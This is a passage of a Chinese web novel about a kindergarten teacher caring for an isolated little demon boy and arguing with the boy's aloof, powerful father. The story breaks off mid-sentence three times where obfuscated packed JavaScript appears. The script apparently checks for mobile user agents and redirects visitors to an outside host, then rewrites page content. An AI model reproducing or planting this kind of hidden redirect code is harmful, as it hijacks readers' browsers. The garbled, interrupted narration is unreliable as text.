他将白天的意外娓娓道来,“……总之,班级里的五个孩子都不能碰到眠眠的手,以至于孩子们对眠眠心生戒备,孩子们之间的相处出了问题,我希望您能想办法解决这件事,否则眠眠在幼儿园会过得不开心。” “他们是妖,你接受了。” 杨思昭以为这是一个问句,刚要回答才反应过来,男人的尾调没有上扬。 是个陈述句。 他结结巴巴地回答:“呃……我比较……比较喜欢孩子,在我眼里,他们就是一群可爱的小朋友,所以我接受。” 男人没有回应,视线落在杨思昭和陆眠交握的手上。 杨思昭松开手。 陆眠仰起头看了他一眼,又看了男人一眼,似乎还想黏在杨思昭身边。 可男人说:“陆眠,回房间。” 陆眠于是低下头,背着小书包跳下沙发,一步三回头,恋恋不舍地上了楼。 杨思昭的心都揪了起来。 听到二楼的门关上,他立即说:“陆先生,眠眠很乖,您不应该对他如此严厉。” 男人坐在单人沙发里,双腿交叠,臂肘自然地搭在沙发两侧的扶手上,闻言,指尖轻轻敲击腿面,“杨老师看来很会照顾孩子。” “比你会。”杨思昭小声嘟囔。 但面上还是持着职业精神,“在眠眠缺失母爱的前提下,您应该给他更加充足的父爱。” 男人眉梢微扬,眼神骤然冷冽。 杨思昭有些理亏,知道自己窥探隐私的行为被发现了,于是解释:“是我追着陈助理问,他无奈才告诉我的,你别怪他。但、但是,这些家庭情况本来就是我应该知道的!” “什么家庭情况?”男人问。 杨思昭咕哝道:“您、您的爱人,不是,眠眠的妈妈,很早就离开家了。” 男人摩挲着左手无名指上的戒指,良久才说:“是,我爱人,他离开很久了。” 6.第 6 章 杨思昭本来有一肚子气,可听到男人的话,也不知怎么心头一沉,耳边蓦然回响起开门时男人说的那句“好久不见”。 紧接着,他又打了个激灵,将这个诡异的念头清除出脑袋。 一定是这个阴森森的别墅,还有这个阴森森的男人,搞得他精神都不正常了。 “先不说这个了,您先解决一下眠眠和孩子们的相处问题吧,一碰就变回原形,如果这样的情况不受控制,我想,其他家长应该不会愿意让自己的孩子继续和眠眠做同学。” 杨思昭说得认真且诚恳,可男人似乎并不在意,眸色深沉,指尖仍缓缓摩挲着戒圈。 “陆先生。” “陆先生?” 杨思昭喊了半天,男人这才纡尊开口: “力量太弱才会不受控制,该想办法解决问题的,是那些孩子的家长。” “你——” 杨思昭又变回一肚子火气了。 “您的意思是,就放任眠眠被其他孩子孤立?” “是他非要去幼儿园的。” 杨思昭瞠目结舌,他还没见过这样不负责任的家长,“你怎么可以这样说?” 男人不以为然。 “其他几个孩子的爸爸妈妈,每天按时接送孩子,给他们买各式各样的漂亮衣服,扎漂亮的小辫子,孩子有点感冒咳嗽就立刻赶来幼儿园……看多了这样的父母,我还以为妖怪都和人一样感情充沛呢,没想到,果然有冷心冷血的妖。” “你都不知道,眠眠今天有多委屈。” “但是他一次都没有哭,换做其他孩子,不知道要掉多少眼泪了。” 杨思昭根本刹不住车,满腹牢骚急着宣泄,可对面的男人似乎一句都没听进去。 眼神依旧淡漠。 好像眠眠的事与他无关。 那么乖、那么可爱的孩子,他竟然毫不珍惜! 杨思昭简直怒不可遏,扬声道:“养孩子就是很费心的,你要是不喜欢孩子,干嘛生他?生了他又不负责任,太可恶了,难怪你老婆不要你!” 你老婆不要你…… 不要你…… 杨思昭的声音在空荡荡的客厅里荡出回音,将最后几个字不断重复。 他脸色一白,感到死期将至。 在男人的眼神变得凌厉之前,他先低下头,支支吾吾地道歉:“对、对不起。” 男人不语。 空气静默。 杨思昭的颈后再次泛起涔涔冷汗,沙发边的古老铜制时钟发出厚重而低沉的响声,滴答滴答,仿佛是他生命的倒计时。 良久,男人起身。 杨思昭吓得缩起脖子,双眼紧闭,但预想中的痛感没有出现,只听到脚步声。 男人似乎离开客厅了。 等杨思昭睁开眼,客厅已空无一人。 他还记得自己的任务,对着空气说:“陆、陆先生,信息表您还没……没填。” 无人回应。 推门进来的陈此安听到了,对他说:“杨老师,我来填吧,陆先生让我招待您。” 杨思昭尴尬地笑了笑,从包里取出信息表和笔,交给陈此安。 陈此安接过,在“父亲”那一栏,写下“陆无烬”三个字。 杨思昭心里嘀咕:人古怪也就算了,连名字都这么古怪。 陈此安一边填写一边说:“您别多想,先生不是针对您,他只是太忙了,像我们几个助理,平日里挨训都习惯了。” “你也不容易。”杨思昭叹气。 果然哪里都少不了牛马打工人。 还有黑心资本家。 填完了缺少的信息,杨思昭又问陈此安:“陈助理,他有说眠眠会让其他小朋友变回原形的事,怎么解决吗?” “这个确实不好解决,哪怕都是幼崽,妖力也是有差距的。其实先生一直不同意眠眠去幼儿园,是眠眠非要去,把自己关在房间里不吃不喝两天,先生才勉强同意的。” 杨思昭愕然。 “能解决这个问题的,只有先生,只有他可以提升那些孩子们的妖力,但他不会同意的,”陈此安看了楼上一眼,靠近了杨思昭,神神秘秘地说—— “除非,您能想办法,让他同意。” “我怎么想办法?”杨思昭摊手。 陈此安耸了耸肩,“那我建议眠眠还是不要继续上幼儿园了,本来妖界也不需要什么社会化训练的,等他长大了,学了法术,将他的妖力发挥到极致,到时候谁敢孤立他呢?” “这几年才是最重要的啊!” 杨思昭简直跟这群妖说不清楚! 眠眠的委屈不存在吗?孤独和内向是假的吗?难道就因为他还小,就无所谓吗? 在爱里长大,是一生的幸事。 就这样放任眠眠被孩子们孤立,杨思昭不接受、也不允许。 “杨先生,晚饭已经准备好了,我让他们现在就上菜?” “不了。”杨思昭在这里一刻也待不下去了,他拿起包就走。 可走到门口又停下,回头望向二楼的台阶,隐隐约约看到一个小小的黑影。 就像那天的街道。 “眠眠。” 话音刚落,一个卷卷绒绒的小脑袋立即从转角冒出来。 离那么远,杨思昭都能看见小家伙泛红的鼻尖,是难过的表现。 杨思昭朝他挥了挥手,“眠眠好好吃饭,老师回家了,我们明天见,好不好?” 眠眠仍眼巴巴地望着他,过了很久才慢慢伸出小手,朝杨思昭挥了挥。 杨思昭觉得自己快要喘不过气了。 很难受,说不出的难受。 难受到他自己都觉得惊讶,虽然他从小就同情心泛滥,喜欢和孩子们打成一片,长大还学了几乎没什么男生的学前教育专业,但不代表他对任何孩子都会这般不舍。 想到他孤单长大,失去母亲,有一个冷漠的父亲,从小就在房间里和自己玩,到了幼儿园,还被其他小朋友孤立,杨思昭往门口走的每一步,都像是从心头剜下一块肉。 有一个瞬间,他甚至想把眠眠偷走。 直至踏出房门,呼吸到新鲜的空气,几乎压垮他的窒闷和痛楚才有所缓解。 陈此安将他送回家,还让厨师将饭菜打包进精致的盒子,让他带回去吃。 杨思昭却毫无食欲,回到家,脱了衣服就瘫倒在床畔,怔怔失神到夜深。 . 第二天,眠眠还是准时进园了。 杨思昭看见他时,忍不住径直朝他走去,刚要说早上好,就看到他的小手套。 是棕色的小羽绒全包手套。 “这是眠眠准备的吗?” 眠眠点头,小声说:“不碰小朋友。” 杨思昭鼻头一酸,“这样就碰不到其他小朋友了是不是,眠眠好聪明啊!” 他捏了捏眠眠的小手,牵着他进园。 其他孩子的家长也知道了昨天发生的事,乐乐的父亲顾桓主动找到杨思昭,问他:“杨老师,我们几个家长想了解一下新来的孩子的家庭情况,您也知道内情的,我们比较担心。” 他说得委婉,杨思昭也明白,于是将眠眠父亲的信息告诉了顾桓。 谁料顾桓的脸色瞬间变了。 “陆无烬?” “是……怎么了?” 顾桓的脸色肉眼可见地变得惨白,血色顿失,杨思昭还是第一次见到温文尔雅的乐乐爸爸如此失态,“顾先生,你怎么了?” “没事,”顾桓摇了摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865067|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,良久后他说,“杨老师,麻烦您照顾好几个孩子。” “是,我会的。”杨思昭说。 接待完顾桓,杨思昭回到班级,五个小家伙依然围坐在小圆桌边,陆眠则一个人坐在旁边的小坐凳上,和其他孩子隔了三米远。 杨思昭有些黯然,也不知道如何处理。 这不是普通的矛盾,事关安全,他也不能强迫其他孩子,从顾桓的表现就能看出来,那个叫“陆无烬”的男人,真的很厉害。 更准确说,应该是恐怖级别的厉害。 否则顾先生不会惊成那样。 他无奈地想:小妖怪幼儿园就应该让妖怪老师来教啊,他一个人类,能做什么呢? 他只能翻出数字拼图,让小朋友们围过来,让他们数小鱼和小鸡。 方小望最先发现眠眠的手套,她拿起滑板,用水彩笔画了一只圆手,然后兴冲冲地跑过来给杨思昭看,“老师,我画的。” 杨思昭笑着问:“是哆啦A梦的手吗?” “不是,”方小望贴到杨思昭耳边,小声说:“是陆眠的手。” 杨思昭很惊讶,试探着问:“小望,你愿不愿把这个画送给陆眠呀?他收到一定会很开心。” 方小望犹豫了。 她捏着画纸想了好久,最后还是用力地点了点头,“好,送给他。” 她走到眠眠身边,也不敢站得太近,伸长了胳膊把画递出去,“送给你,欢迎你来小(5)班,我叫方小望,那个穿蓝衣服的是我的哥哥,他叫方小盼。” 她一出声,其他四个正叽叽喳喳数小鸡的,也都不约而同地安静下来。 杨思昭跟着紧张起来。 陆眠好像没能立即理解方小望的意思,呆呆地看了她好久,直到方小望说:“你不喜欢我的画吗?不喜欢就算了。” 他才伸出手,用圆鼓鼓的手套夹住方小望的画。 方小望本来要往后退的,但忍住了。 杨思昭立即走过去,问陆眠:“眠眠要对小望说什么?” “谢谢。”陆眠小声说。 杨思昭继续鼓励:“我们说大声一点好不好?小望好像没听见呢。” “谢谢。”陆眠大声了一些。 方小望笑起来,露出两排可爱的小米牙,然后跑回去继续画画了。 杨思昭把陆眠圈在怀里,在他耳边说:“眠眠看,小朋友们一点都不讨厌眠眠的,他们只是害怕变回原形,这是幼儿园,幼儿园里小朋友那么多,他们一下子变成小狼,一下子变成小狮子,把其他小朋友吓坏了怎么办?所以他们才不敢靠近眠眠,绝不是讨厌眠眠。” 眠眠仰起头,一双眼瞳像漂亮清透的玻璃珠,充满信任地望着杨思昭。 “眠眠也不要害怕和小朋友们玩,好不好?”杨思昭问。 眠眠用力地点了点头,然后小心翼翼地抱住画纸,生怕弄皱一点。 杨思昭原本以为一切变得顺利了,事情有了转机,可到下午,带着小家伙们去户外玩过,准备帮他们洗手的时候,他的心情还是不受控制地沉重起来。 眠眠一整天都不肯摘下手套,吃饭的时候,不管拿勺子有多不方便,他都不愿意摘。可教室里那么暖和,羽绒手套那么厚,等杨思昭左哄右哄,好不容易才把他的手套取下来,就看到两只小手都被汗浸出褶皱了。 “眠眠,你——” 眠眠连忙把手背到身后,可是看到杨思昭自责的表情,他也跟着难过。 “不行。”杨思昭现在只有两个选择:一,把眠眠偷走,二,找陆无烬解决。 第一个选择成功的可能性不大,除非他天天抱着眠眠躲在神树下面不出来。 但是找陆无烬解决…… 他也不想再看见那张阴森的脸。 7.第 7 章 “眠眠喜欢草莓味,还是哈密瓜味?”杨思昭举着两瓶儿童护手霜问陆眠。 陆眠呆呆地看着自己被洗干净的双手,想了想,小声说:“草莓。” 杨思昭于是给陆眠的两只小手仔仔细细涂上护手霜,握着送到鼻尖闻了闻,笑道:“好香呀,眠眠喜不喜欢?” 陆眠先是盯着杨思昭不说话,看到自己的手离杨思昭的脸只有一点点距离时,他突然伸出指头,小心翼翼地碰了一下杨思昭的脸颊,一碰到,就缩了回去。 杨思昭没注意到陆眠的动作,又问:“眠眠不喜欢这个味道吗?” 陆眠立即摇头,“喜欢。” “老师明天送你一双新的手套好不好?透气又舒服,不会让小手出汗的。” 陆眠听得半懂不懂,只一个劲盯着杨思昭的脸,良久才不舍地垂下眼。 “圈圈,那个不能吃!” 杨思昭又去处理其他小妖怪们了,自从知道杨思昭会一直留在小(5)班,圈圈和方小盼这两个淘气鬼又故态复萌,成天打打闹闹,看见什么都往嘴里塞,简直没一刻消停。 方小盼先看见两颗隔壁老师做活动剩下的草莓,准备偷偷过去拿,结果给圈圈发现了,圈圈先一步冲过去:“我要!” 杨思昭余光刚瞥见,刚出声制止,圈圈已经把坏了一半的草莓塞进嘴里了。 他连忙过去,想把圈圈嘴里的东西弄出来,可是圈圈心虚,直接囫囵吞进去了,杨思昭无奈地拍了下他的屁股,“老师说过几遍了,不能乱吃东西!” 圈圈立即抱住他的脖子撒娇。 “你想吃草莓,跟老师讲,老师会去厨房拿的,放在窗台上的东西不能吃,风吹来吹去,小朋友走来走去,很脏的,吃了会肚子疼的。再被老师发现一次,老师就真的生气了。”杨思昭正色道。 圈圈也知道错了,撅着嘴巴说:“我以后再也不会了,小羊老师不要生气。” 看他这个样子,杨思昭也没法板着脸了,摸了摸他的小圆肚子,“不舒服了立即告诉老师,听到没有?” 结果杨思昭刚从园长办公室回来,就听见圈圈的呜咽声:“小羊老师!小羊老师!” 他吓了一跳,立即跑进教室。 圈圈正在地上打滚,夹紧了两条腿,“小羊老师,我的屁股要吐出来了。” 杨思昭立即把他带到卫生间。 圈圈坐在马桶上,可怜巴巴地说:“小羊老师,我的肚子好疼啊。” 杨思昭也很心疼,帮他揉肚子:“老师已经喊医务室的医生阿姨过来了。” 圈圈把脑袋靠在杨思昭的胳膊上,小大人似地叹了口气,“不那么疼了。” “还有,没有人说肚子要吐了,东西出来,应该说"拉",拉肚子。” “拉肚子。”圈圈学舌。 “对。” 收拾好虚弱的小胖子,杨思昭把他带回了班级,医生来检查了,只说:“没什么大碍,多喝水。”杨思昭本以为圈圈能安分一整天,结果中午吃饭的时候,他又开始狼吞虎咽,好像吃了这顿没下顿了。 “圈圈!” 圈圈这才稍微慢下来,又喝了一口汤,倏然间,整张小脸都皱了起来,他丢了勺子张大嘴巴,发出一声声“哕”,然后惊慌道:“小羊老师,我的嘴巴要拉了。” 四周的小家伙瞬间呆住,各自捂住了自己的饭碗。 “……” 杨思昭语塞,直接把圈圈抱去了医务室。 白床白墙白大褂,医生阿姨故意拿起针筒,小胖子终于老实了,在医务室里安稳睡到下午三点半才回班级。 杨思昭正带着孩子们读古诗。 “夜来风雨声——” “圈圈!”方小盼第一个发现。 杨思昭朝圈圈招了招手,圈圈“嗖”地一下冲了过来,在杨思昭右边坐下。 眠眠坐在杨思昭的左边,和其他孩子保持着半臂的距离,手上依然戴着小手套,他歪着脑袋看了一眼圈圈。 快放学的时候,杨思昭刚帮乐乐换衣服,衣摆忽然被人拽了拽。 他回头看,看到眠眠。 两只小手套并在一起,费力地举着草莓护手霜。 “怎么了?还要涂护手霜吗?” 眠眠摇头。 “那想要老师做什么?” “给圈圈。” “为什么?” “草莓味。” 杨思昭恍然大悟,眠眠以为圈圈喜欢草莓,所以想给他涂草莓味的护手霜。 “好啊,”杨思昭笑了笑,然后蹲下身来和眠眠平视,接过护手霜,说,“圈圈现在不能吃凉的水果了,他闻到草莓味的护手霜一定会很开心的,谢谢眠眠。” 眠眠咧起嘴角,腼腆地笑了。 杨思昭这才发现,眠眠笑起来也是有酒窝的。 愣怔片刻,他带着眠眠去找圈圈。 圈圈本来不喜欢涂雪花膏和护手霜这些东西的,但听说是眠眠的主意,他犹豫了一下,还是点了头,把手伸出来,“好吧,不要太香了,小羊老师。” “好。” 两只手都是草莓味的,圈圈好不习惯,立即把手举起来,放在风里吹。 眠眠看见了,也学着举起手,让风钻进他的小羽绒手套。 杨思昭忍俊不禁。 四点半,家长们都来了。杨思昭惊讶地发现,今天除了眠眠的家长,其他孩子的父母竟然来齐了,而且表情一个比一个严肃,一看到杨思昭,就聚到了门口。 “怎么回事?” 他走过去,忽然发现家长们的视线都汇聚在陆眠身上,他下意识挡在陆眠身前,问齐妍:“齐小姐,怎么了?” 齐妍虽然依旧打扮地干练惊艳,但脸色明显不佳,“小羊老师,今天幼儿园有什么异样吗?有人……有人来吗?” “没有啊,今天什么都没发生。”杨思昭望向圈圈的妈妈,歉疚道:“就是圈圈吃了两颗坏草莓,拉肚子了,实在不好意思,是我没拦住,我以后一定注意。” 几个家长看起来依旧忧心忡忡。 齐妍又问:“杨老师,您见过陆……陆先生么?” “见过,因为眠眠的家庭信息不全,我特意去做了一次家访。” 家长们面面相觑,几乎是颤抖着问:“您的意思是,陆先生就住在月岭市?” “是啊,一栋挺大的别墅。” 杨思昭话还没说完,小池的母亲已经惊慌失色,“完了,这可怎么办?” 杨思昭一头雾水,“到底发生什么了?” 家长们讳莫如深,这时候,陈此安下了车走过来,“杨老师,我来接眠眠。” 家长们齐刷刷望向他。 陈此安似乎并不意外,朝他们笑得友好,用词也很客气:“各位好,我是眠眠父亲的助理,各位叫我小陈就行。陆先生工作繁忙,平时陆眠的事都由我负责,昨天的意外,先生已经知道了。” 杨思昭看见齐妍的手微微颤抖,很快,她的丈夫顾桓也发现了,主动将她的手握在手中,指腹轻轻地摩挲安抚。 “先生认为孩子之间的相处,家长不宜干涉太多,既然上了幼儿园,学会求同存异,也是他们的必修课,所以……”陈此安顿了顿,笑着说:“希望各位家长安心把孩子放在杨老师的班级里,只要孩子平平安安,家长们也无需担忧。 “反之,若是各位操心过多,因为昨天的意外,就打算举家离开月岭市,那陆先生就只好说声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868942|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉了。” 杨思昭越听越不对劲,怎么感觉……有点像威胁? “妈妈!”乐乐欢快地跑过来。 家长们立即在惨白的脸上挤出笑容,张开怀抱接住了小家伙们。 “那就……先这样吧。”齐妍浅笑了一瞬,对杨思昭说:“辛苦杨老师了。” 她又看了一眼陈此安,闭口不语。 小(5)班就剩眠眠了。 眠眠还舍不得走,陈此安想要捉住他的手,他把胳膊一个劲地往身后藏。 “眠眠。”杨思昭蹲下来。 “我们明天见,好不好?” 眠眠不吭声。 “陈助理,”杨思昭也觉得自己的提议很荒谬,但他还是想试一试,“能不能麻烦你和陆先生说一下,眠眠今晚和我回家?我会照顾好他的,他的换洗衣服和用具,幼儿园都有,我也会给他买新的。” 眠眠猛然抬起头,眼睛都亮了。 杨思昭央求:“你能不能帮我向陆先生争取一下?” 陈此安脸色为难。 “求你了。”杨思昭双手合十,眼神恳切。 “那好吧,我试试。” 陈此安转身拨通了陆无烬的电话,很快,他回到杨思昭面前,“抱歉,杨老师,陆先生不允许,他让我立即带着眠眠回去。” 杨思昭只觉得一股酸劲直冲鼻腔,急得直想落泪,气恼道:“他不管孩子,还不让旁人管吗?哪有这样的父亲!” “没办法,杨老师,陆先生向来是说一不二的。”他又低头望向陆眠,说:“眠眠,先生说,他已经给过你一次机会了,不会再给第二次。” 陆眠的小脑袋缓缓低下去。 “眠眠,走吧。”陈此安握住他的手。 杨思昭眼睁睁看着陆眠被带上车,昨天那种喘不过气的窒闷感卷土重来。 他看着汽车渐行渐远。 无奈,也无计可施。 他终究只是一个幼儿园老师,没身份也没资格代替父亲去爱眠眠。 下了班,他先去商场,在童装区里逛了很久,给眠眠买了两双小手套。 都是全棉的半指手套,眠眠用起来会更舒服、更方便。 如果半指手套不能隔绝妖力,那他就再用点心,寸步不离地看着小家伙们就好。 总之,不能苦孩子。 回到家之后,照常打扫、洗澡,可不知怎么的,有种说不出的心慌意乱。 总觉得四周有一双眼睛,在盯着他,甚至在他冲低头洗发液泡沫的时候,都莫名一阵脊背发凉,吓得他当即关了水。 可四周都是白瓷砖,连个鬼影都没有。 就这样杯弓蛇影地洗完澡,上了床,正要躺下,手机忽然响了。 是陈此安。 “杨老师,眠眠不见了。” 杨思昭的睡意瞬间全消,腾的一下坐起来,“什么叫眠眠不见了,他不是小妖怪吗?他爸爸不是更厉害的妖吗?你们怎么会找不到他?” “这件事有些复杂,总之,眠眠有办法让陆先生发现不了他,只不过他还太小,控制不住自己的力量,偶尔能藏起来,大多时候都会被先生发现。” “杨老师,他有没有去找你?” “我家离潜山别墅有两小时路程!” 陈此安说:“其实……也不是没有可能。” 杨思昭几乎晕厥。 他当即穿上外套,冲出家门,还没走到小区门口,又接到一通电话。 是警察。 “请问是杨思昭杨先生吗?” 杨思昭愣愣道:“是。” “这里有一个儿童走失,我们问他知不知道爸爸妈妈的电话,他说这是他妈妈的电话。” 8.第 8 章 杨思昭马不停蹄赶到派出所。 离潜山不远的派出所,深夜依旧是灯火通明的,保安远远地问他:“来接娃娃的?”杨思昭想都没想就点头:“是啊。” 气还没喘匀,他就推门进去,看到三个民警围在长椅边,一人拿着牛奶,一人拿着烤肠,问:“小朋友,饿不饿啊?” 眠眠坐在长椅上,裹着白色的羽绒服,两只小雪地靴悬在半空。 不知道小家伙一个人走了多久,身上脸上都是灰。 无论旁人怎么哄,他都低着头。 “眠眠。”杨思昭喊了一声。 眠眠立即抬起头,循声望过来,眼睛倏然间睁得溜圆,几乎是急不可耐地滑下长椅,朝着杨思昭冲了过去。 杨思昭当即蹲了下来,将他拥在怀里。 小家伙的脸颊贴在他的颈侧,杨思昭感到些许的濡湿,心也跟着泛酸。 “不怕,不怕,老师来了。” 因为带了点哭腔,小家伙的呼吸声都比平时重了。 “怎么孩子跑出来了都不知道啊?”年长的民警忍不住问。 “我——” 杨思昭想说他是孩子的幼儿园老师,可另一位女警已经把热牛奶送到他手里了,打量道:“好年轻的爸爸,刚刚跑过来的时候,我还以为是哥哥呢。” 杨思昭不知如何回应。 说我是老师,民警肯定要继续联系眠眠的父亲,那他偷偷把眠眠带回家的计划就泡汤了。 说我是爸爸,又有些怪异。 “我……”他犹豫片刻,笑着说:“我结婚早,谢谢警察同志,真的太感谢了。” “做个登记吧。” 杨思昭连忙抱起眠眠,跟着民警走了过去,坐在凳子上,接过登记表,在姓名那一栏写下“陆无烬”三个字。 走出派出所的时候,冷风扑面,眠眠立即抱住杨思昭的脖子,用自己的身体挡住风。因为靠得太近,杨思昭耳边全是小家伙暖烘烘的呼吸,带着淡淡的奶香味。 “眠眠想回家吗?” 眠眠摇头。 “那……眠眠想去老师家玩一玩吗?” 眠眠迫不及待说:“想去。” 杨思昭笑出声来,他一笑,两颊各出现一个酒窝,眠眠觉得新奇,小心翼翼地伸手碰了碰,又怕给杨思昭的皮肤弄破似的,碰一下就赶忙缩了回去。杨思昭学他的动作,碰了碰他的小脸,“眠眠也有酒窝的。” 眠眠戳自己的脸。 “笑起来就有了,眠眠笑一笑。” 眠眠努力咧开嘴角,杨思昭一手托住眠眠的屁股,一手握着眠眠的小手,指引他:“就是这里,两个小酒窝。” 眠眠不知怎么突然害羞了,抱住杨思昭的脖子,在杨思昭的颈侧蹭来蹭去。 “回家吧。”杨思昭说。 他打了辆车,快到十二点了才到家。可眠眠始终精神抖擞,完全没有困意,靠在他的肩头,眼睛睁得溜圆,打量着四周。 “老师家没有眠眠家大。” 杨思昭先把空调都打开,他平日里为了省钱,只舍得开卧室空调,还只舍得定时两小时,为了眠眠,他倒是毫不吝啬,中央空调同时开启,很快房子里就有了暖意。眠眠主动脱了外套,一边关注着杨思昭的行踪,一边打量着四周,很快,他的视线停在茶几下面一个小小的奶瓶上。 是奶瓶,但不是眠眠的奶瓶。 眠眠的脑袋一点点垂下去。 杨思昭把浴缸刷了两遍,一出来就注意到全身都萦绕着悲伤的小家伙,然后顺着眠眠的视线,看到了茶几下的黄色奶瓶,他温声提醒:“那个是给小猫喂奶用的,眠眠不能喝,眠眠肚子饿了吗,路上不是已经喝过牛奶了吗?” 眠眠的脑袋又一点一点抬了起来。 “老师在楼下养了好几只小猫呢,明天带眠眠去看一看,好不好?” 眠眠的小酒窝又露出来了。 杨思昭刚准备给眠眠洗澡,陈此安的电话又打过来了。 “杨老师,眠眠在您那里吗?” “不在。” 陈此安显然不信,“杨老师,您不能不经过陆先生的同意,就把眠眠带回家的,陆先生让我去您那里接眠眠回家。” “他敢!”一股无名火从杨思昭的心底升起来,他对着电话说:“请你转告陆无烬,就说是我说的,眠眠今晚必须留在我这里,如果他不同意,就让他亲自来接,我们一起去派出所找警察问一问,当亲生父亲不负责任,对孩子不闻不问,伤害孩子的身心健康,孩子的老师有没有资格替他照看孩子?” 他转念又想:“我差点忘了,你们不是人类,好啊,我也不怕事情闹大,要是被妖王知道了,你们都要遭殃!” “……”陈此安在电话另一头沉默。 杨思昭咣当挂断电话。 回身面向眠眠的时候,又露出明媚的笑容,眠眠跟着他开心,咧开嘴傻笑。 杨思昭帮他洗澡,眠眠什么时候都是安安静静的,洗头也不闹。坐在浴缸里,顶着一头白色泡沫,还是傻笑,乖乖凑到杨思昭面前,让杨思昭帮他冲水。 “眠眠变成小羊了。” 眠眠把泡沫蹭到杨思昭的手背上,然后眨巴着眼睛,盯着杨思昭看。 “老师也变成小羊了吗?” 眠眠点头。 杨思昭笑着和他碰了碰额头,“好吧,现在这个房子里有两只小羊了。” 洗完了,他把软乎乎的眠眠抱出来,用浴巾擦干,才想起来,家里没有宝宝睡衣。他和眠眠大眼瞪小眼了好一会,不好意思道:“先穿老师的衣服将就一下吧。” 眠眠倒是很乐意,杨思昭刚帮他穿好,把他的小手从长袖子里捉出来,他又钻了进去,毛毛虫一样,在杨思昭的睡衣里拱来拱去,玩得不亦乐乎。 杨思昭还没见过眠眠有这么活泼的一面。 他也觉得新鲜,捏捏左边,眠眠就钻到右边去了。 等他洗完澡,走进来,眠眠已经窝在他的睡衣里睡着了。原本就是刚吹干的卷发,已经被他拱得炸了毛,遮住了眼睛。 杨思昭轻轻地将他抱了出来,重新穿好睡衣,然后躺到他身边。 他听到小家伙咕哝了一声。 听不清楚,他贴近了,听到一声含含糊糊的,“妈妈。” 想妈妈了吗? 杨思昭心疼得要命,可心疼之余,竟然生出几分难以形容的嫉妒。 他知道眠眠是因为缺爱,才会如此粘他,换作任何一个人对他好,他都会这样的,这是小孩子的天性。 他伸出手,动作轻而慢地圈住了眠眠的小身体,将眠眠揽进怀里。不管是小人类还是小妖怪,体温都要高些,杨思昭隔着棉布料感受着眠眠的体温,像是冬夜里的一只小暖炉。窗外寒风凛冽,而他的怀里温暖如春。眠眠在睡梦中翻了个身,枕在杨思昭的胳膊上,两个人相互依偎着。 一切温柔而沉静。 可那个梦又来了。 水蓝天空,桃花灼灼,杨思昭又迷失在同样的场景里。他想要逃离,可一只健硕有力的手臂圈住了他的腰,将他箍回怀中,紧紧抱着,和之前的每一次无差。 “你——” 杨思昭感到惊讶,他竟然能在梦中开口,以前从未有过。 “你到底是谁?” 话音初落,男人低头咬住他的颈侧,发狠似的,杨思昭感到一阵不真实的痛楚,刚要挣扎,男人已经松了口。 杨思昭几乎要哭出来,“你到底是谁,十年了,你追着我不放已经十年了,你能不能让我不要再做这个梦了?” “你欠我的。”男人沉声说。 “我不认识你。”杨思昭忍不住抽泣,他觉得委屈,被同一个梦魇纠缠了十年,最初的那半年,他几乎夜夜失眠,不敢入睡,生怕又梦到这个男人。因为这个梦,他时常觉得自己是个不正常的人,有女生向他示好,他都不敢回应——他都这么惨了,罪魁祸首竟然说,是他欠他的,简直莫名其妙。 “你放开我。” 男人抱得越用力,他挣扎得越凶,“我不喜欢男人,我也不想再做这个梦了,你放过我!” 一阵风吹过,绯红桃花纷纷坠落,一片花瓣从杨思昭的耳边滑过,无缘由的,竟像是一声叹息。 良久。 男人收回手臂。 杨思昭忽然感觉到后背凉意弥漫,又听见男人说,“下一世,不找了。” . “跟我回去。” 杨思昭睡得迷迷糊糊,隐约中听到一个男人的声音,紧接着,一股奶味盖住他的口鼻——是眠眠趴在他的脸上。 眠眠攥紧了两只小拳头,气鼓鼓地望向不远处坐着的陆无烬。 “回去。” 眠眠摇头。 “你答应过我,只看他一眼。” 眠眠紧绷着小身体,眼神极其防备,生怕自己下一秒就被陆无烬带回别墅。 “他不爱你,这一世,他会有自己的家庭,你不是他唯一的孩子。” 眠眠的眼眶里蓄满眼泪,始终忍着,没有掉下来。他转过身,钻进杨思昭的怀中,紧紧抱着,把脸埋在杨思昭的颈窝。 杨思昭在半梦半醒间,听到一个男人的声音,但是听不真切,只觉得耳熟。 像是梦里听过,也像是现实听过。 只听到几个词,“看他一眼”、“唯一的孩子”,很快,胸口忽然被什么软绵绵的重物压住了,让他一时喘不过气。 睁开眼,先看到蜷曲卷发中藏着的一个小发旋,然后是粉白的额头。 “眠眠?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872578|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >眠眠紧紧抱住他的脖子,像是有什么人要将他们生生分开,杨思昭愣了一瞬,而后抱住眠眠倏然坐起来,视线尚未完全清明,就被床尾那一抹黑色身影吓得差点失声尖叫。 “你,你怎么在我家?” 